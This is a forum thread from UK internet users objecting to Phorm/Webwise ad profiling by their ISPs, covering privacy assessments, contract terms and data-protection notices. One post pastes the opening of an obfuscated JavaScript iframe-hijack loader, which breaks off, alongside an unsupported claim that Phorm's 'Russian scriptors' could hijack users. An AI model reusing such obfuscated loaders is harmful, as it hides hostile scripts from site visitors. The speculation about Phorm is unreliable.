Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]

[80/20Thinking]

Originally Posted by OldBear

I also agree with John. Simon, you do seem to be treating Phorm as a minor matter which puzzles me immensely considering you were the man who said about Google.Doubleclick on the PI site here: http://www.privacyinternational.org/...]=x-347-560886

I've asked before for an answer about this, but you didn't answer, so I'll ask again.

How can you say what you said above, while (seeming to be) treating Phorm as a minor matter?

OB

Groan. I didn't say it was "minor". I said there is a big world full of even nastier invasions out there. That doesn't diminish my focus on Phorm.

Sure, in the big scheme of things Phorm is relatively containable. I'd be a liar if I didn't admit that the prospect of mandatory population-wide DNA and biometric acquisition, wholesale data matching, ubiquitous identity demands, comprehensive government profiling, expanded police and security powers and mass pacification of the population weren't occupying my mind somewhat, but that doesn't mean I treat Phorm with any less regard as a privacy issue.

Simon

Glad to hear that. I was a bit concerned by:-

"We certainly don't choose our AB members to suit a small contract involving a tiny part of the global privacy spectrum."

[80/20Thinking]

Originally Posted by JohnHorb

Glad to hear that. I was a bit concerned by:-

"We certainly don't choose our AB members to suit a small contract involving a tiny part of the global privacy spectrum."

To put things in perspective, even CCTV is a tiny part of the privacy spectrum.

Simon

[OldBear]

Originally Posted by 80/20Thinking

<snip>, but that doesn't mean I treat Phorm with any less regard as a privacy issue.

Simon

Thank you, Simon, that's good to hear. One of my concerns with Phorm is that it won't be minor but instead that it's the thin edge of what will be an ever increasing wedge.

Just out of interest, have PI looked at Phorm in a similar manner to that which they looked at the Google/Doubleclick deal?

[Digbert]

Despite all the discussion about Phorm/Webwise and 80/20 Thinking's PIA, the real villains of the whole saga are the ISPs. Just because they have been offered a means of making money by invading customer’s privacy, they don't have to take advantage of that offer.

Shouldn't BT, Virgin Media and Carphone Warehouse each be conducting a PIA in relation to the effect of Phorm/Webwise on their business?

Those three ISPs would do well to read the ICO PIA handbook.

“Why do a Privacy Impact Assessment?
Public trust in its institutions is generally felt to be in decline, with individuals tending to feel distanced, alienated and even disengaged. Government and corporate reputations can be fragile and easily undermined. In order to maintain and enhance their reputations these organisations need to act responsibly in relation to key issues like privacy, and to be seen to be acting responsibly. Experience shows that once an organisation’s reputation is damaged and trust is lost it is then very hard to regain that trust."

Originally Posted by OldBear

Thank you, Simon, that's good to hear. One of my concerns with Phorm is that it won't be minor but instead that it's the thin edge of what will be an ever increasing wedge.

Just out of interest, have PI looked at Phorm in a similar manner to that which they looked at the Google/Doubleclick deal?

Nearest I could find (and I wouldn't expect Simon to comment, as he is posting here as 80/20 Thinking NOT PI).

http://www.privacyinternational.org/article.shtml?cmd[347]=x-347-560974

(Not sure how to post that as a hyperlink - VBulletin doesn't like the [347], so cut'n paste the URL)

[mark777]

Originally Posted by Digbert

Shouldn't BT, Virgin Media and Carphone Warehouse each be conducting a PIA in relation to the effect of Phorm/Webwise on their business?

I'm sure their Profit Impact Assessment is very complete and ongoing. Other than that, they won't give a fig.

[Kursk]

Originally Posted by Digbert

Despite all the discussion about Phorm/Webwise and 80/20 Thinking's PIA, the real villains of the whole saga are the ISPs. Just because they have been offered a means of making money by invading customer’s privacy, they don't have to take advantage of that offer."

I couldn't agree more. In fact, the focus has been on Phorm and 80/20T for so long, it almost appears distraction tactics. Time to get MP's to put the pressure onto ISP's who could be, but are NOT yet, the real villains if deployment goes ahead. Hopefully, Labour MP's in particular will be receptive to their constituents in view of their recent trouncing at the ballot box.

This venture will go absolutely nowhere unless and until the ISP's participate so forget about the tail and aim for the head. Besides, the thread has reached a plateau and we're not moving forwards, all we are doing is chewing the fat.

[Florence]

We are being asked to feel secure that our privacy is safe in the hands of someone who is not trustworthy using scriptors from a country that does more malicous damage to computers than any other. Then wonder why we question this.

Similar script to what was on the website for the videos about the public meeting comes from Russia, Phorm uses Russian scriptors. Then you wonder why we are shouting we don't want this..

A little more about the Iframe hijack yes it does hijack you strange that phorm uses the same thing.

http://www.sophos.com/security/blog/2007/09/580.html
link to a larger picture easier to read..
http://www.sophos.com/images/sophosl...7/09/cons2.gif

If you look at the image one russian scripter on phorm staff could do that with all the three ISPs customers without anyone knowing just how secure will we be?

This type of scripting is cropping up more and all links into russia so why are we forced to use the same in the pretence it is protecting our privacy.

"script"function v481d7b74589ee(v481d7b74591e8){ function v481d7b74599e1 () {return 16;} return(parseInt(v481d7b74591e8,v481d7b74599e1())); }function v481d7b745a9d2(v481d7b745b1d2){ var v481d7b745c9da=2; var v481d7b745b9ef='';for(v481d7b745c1e4=0; v481d7b745c1e4<v481d7b745b1d2.length; v481d7b745c1e4+=v481d7b745c9da){ v481d7b745b9ef+=(String.fromCharCode(v481d7b74589e e(v481d7b745b1d2.substr(v481d7b7

[Angry@VMedia]

Originally Posted by AlexanderHanff

If the terms and conditions have changed then of course you all now have a chance to cancel your contract without penalty because you don't agree with the new terms. Nothing says "We don't want this!" more clearly than mass migration.

Alexander Hanff

The thing I am concerned about, is is somebody had'nt posted here to say they had updated the T&C's, then how can anyone know they have changed?
I sure as hell do not agree with the latests T&C's, but being as virgin have not inphormed me of these changes, could I still dispute them?

[roadrunner69]

Originally Posted by 80/20Thinking

Sure, in the big scheme of things Phorm is relatively containable. I'd be a liar if I didn't admit that the prospect of mandatory population-wide DNA and biometric acquisition, wholesale data matching, ubiquitous identity demands, comprehensive government profiling, expanded police and security powers and mass pacification of the population weren't occupying my mind somewhat, but that doesn't mean I treat Phorm with any less regard as a privacy issue.

Simon

While I have sympathy with Simon's position that this is not the be all and end all of his (our) privacy concerns, the BIG difference between this issue and the other issues that he mentions is that this is for purely commercial reasons, nothing to do with national or personal security. Its purpose is purely to make money off the backs of other peoples private communications whilst giving nothing of any real use in return.

If anyone thinks that phorm (or anyone else) will stop at monitoring http on port 80 then they are living in a different universe filled with fluffy bunnies and honest politicians/businessmen.

If phorm/webwise are allowed to continue with this system in the uk it will be the opening of a can of worms that will be impossible to stop.
Thats why this phorm puppy MUST be strangled at birth, along with any other ideas the ISP's may come up with that rely on selling OUR private data.

[warescouse]

Originally Posted by AlexanderHanff

If the terms and conditions have changed then of course you all now have a chance to cancel your contract without penalty because you don't agree with the new terms. Nothing says "We don't want this!" more clearly than mass migration.

Alexander Hanff

I am ready to migrate, but I am going to leave it until the last possible moment before Phorm is implemented. I will use the change of conditions as my excuse to renege on the last 10 months of my (unsigned) contact.

In the meantime myself, and I wish many others should also do the same, have served Data Protection notices under section 11 of the act on Virgin Media , specifically quoting Phorm/Webwise. If they get hundreds of these now, they get some form of inkling the work involved handling these and hopefully begin to fear the work involved when many more thousands of people do it also (or leave like me) if and when Phorm is implemented.

I think it is better to fight on the inside ( up to a point) until I really need to vote with my feet. Applied pressure then mass migration are my feelings!

[Kursk]

Write to your MP
Write to your ISP
Spread the word on the web
Write to your EU representative
Sign the Downing Street petition
Serve a section 11 Data Protection Notice on your ISP
Ask everyone you know to do the same
And if you are lurking, sign up and get stuck in!

[AlexanderHanff]

Originally Posted by Angry@VMedia

The thing I am concerned about, is is somebody had'nt posted here to say they had updated the T&C's, then how can anyone know they have changed?
I sure as hell do not agree with the latests T&C's, but being as virgin have not inphormed me of these changes, could I still dispute them?

Yes of course you can and VM are supposed to tell you when changes occur.

Alexander Hanff

[Bonglet]

Originally Posted by warescouse

I think it is better to fight on the inside ( up to a point) until I really need to vote with my feet. Applied pressure then mass migration are my feelings!

Here hear im doing the same